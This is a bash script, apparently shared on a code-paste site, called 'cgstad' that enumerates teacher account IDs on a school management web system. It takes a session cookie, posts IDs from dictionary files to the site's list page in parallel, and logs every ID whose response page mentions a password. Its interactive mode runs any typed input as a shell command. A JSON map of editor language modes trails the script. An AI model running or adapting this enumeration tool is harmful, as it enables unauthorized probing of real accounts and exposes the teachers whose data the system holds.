#!/bin/bash
# cgstad - Country Gadern School Teacher Account Dectect
# cgstad is a free software, maintaince by MagicNAT Networing
# Version 0.1 (C) MagicNAT Networking
ID_DICT="./dicts/id.dict"
MP_ID_DICTS="./dicts/ids/"
SSID_GEN_URL="http://127.0.0.1:8080/mis/info/menu_info.asp?type=%BD%CC%CA%A6%CD%F8%D2%B3"
AUTH_URL="http://137.0.0.1:8080/mis/info/list.asp"
SSID_FILENAME="./.ssid.cookie"
DECT_SAVE="./tea_acct.txt"
function update_ssid {
echo -n "Updateing ssid... "
curl -c $SSID_FILENAME $SSID_GEN_URL > /dev/null 2> /dev/null
[[ $? == "0" ]] && echo "OK"
[[ $? != "0" ]] && echo "Failed!" && exit 1
}
function try_acct {
[[ -z $1 ]] && echo "try_acct: Missing parameters" && return 1
[[ ! -e $SSID_FILENAME ]] && echo "try_acct: Missing ssid file" && return 1
[[ ! -z $(curl -b $SSID_FILENAME --data "tbarno=$1&hd=002" $AUTH_URL 2> /dev/null | iconv -f gb2312 -t utf-8 | grep 密码) ]] && echo "true" && return 0
echo "false" && return 1
}
function writ_acct {
[[ -z $1 ]] && echo "writ_acct: Missing parameters" && return 1
MSG="[$(date)] FIND: ID $1"
echo $MSG
echo $MSG >> $DECT_SAVE
}
function dect_acct {
[[ ! -e $ID_DICT ]] && echo "dect_acct: Missing dict file" && return 1
for id in $(cat $ID_DICT)
do
[[ $(try_acct $id) == "true" ]] && writ_acct $id
done
}
function dect_acct_mp {
[[ ! -e $MP_ID_DICTS ]] && echo "dect_acct_mp: Missing dict files" && return 1
for dict in $(ls $MP_ID_DICTS)
do
dect_acct_mp_core $MP_ID_DICTS$dict &
done
}
function dect_acct_mp_core {
[[ -z $1 ]] && echo "dect_acct_mp_core: Missing parameter" && return 1
[[ ! -e $1 ]] && echo "dect_acct_mp_core: Missing dict file" && return 1
for id in $(cat $1)
do
[[ $(try_acct $id) == "true" ]] && writ_acct $id
done
}
function interactive {
update_ssid
echo "cgstad 0.1 (Interactive mode) "
echo "Copyright 2014 MagicNAT Networking"
echo "This is free software with ABSOLUTELY NO WARRANTY."
while true
do
echo -n "cgstad> "; read cmd;
$cmd
done
}
function main {
[[ -z $* ]] && interactive
$*
}
main $*
{"html5":"htmlmixed","css":"css","javascript":"javascript","php":"php","python":"python","ruby":"ruby","lua":"text\/x-lua","bash":"text\/x-sh","go":"go","c":"text\/x-csrc","cpp":"text\/x-c++src","diff":"diff","latex":"stex","sql":"sql","xml":"xml","apl":"apl","asterisk":"asterisk","c_loadrunner":"text\/x-csrc","c_mac":"text\/x-csrc","coffeescript":"text\/x-coffeescript","csharp":"text\/x-csharp","d":"d","ecmascript":"javascript","erlang":"erlang","groovy":"text\/x-groovy","haskell":"text\/x-haskell","haxe":"text\/x-haxe","html4strict":"htmlmixed","java":"text\/x-java","java5":"text\/x-java","jquery":"javascript","mirc":"mirc","mysql":"sql","ocaml":"text\/x-ocaml","pascal":"text\/x-pascal","perl":"perl","perl6":"perl","plsql":"sql","properties":"text\/x-properties","q":"text\/x-q","scala":"scala","scheme":"text\/x-scheme","tcl":"text\/x-tcl","vb":"text\/x-vb","verilog":"text\/x-verilog","yaml":"text\/x-yaml","z80":"text\/x-z80"}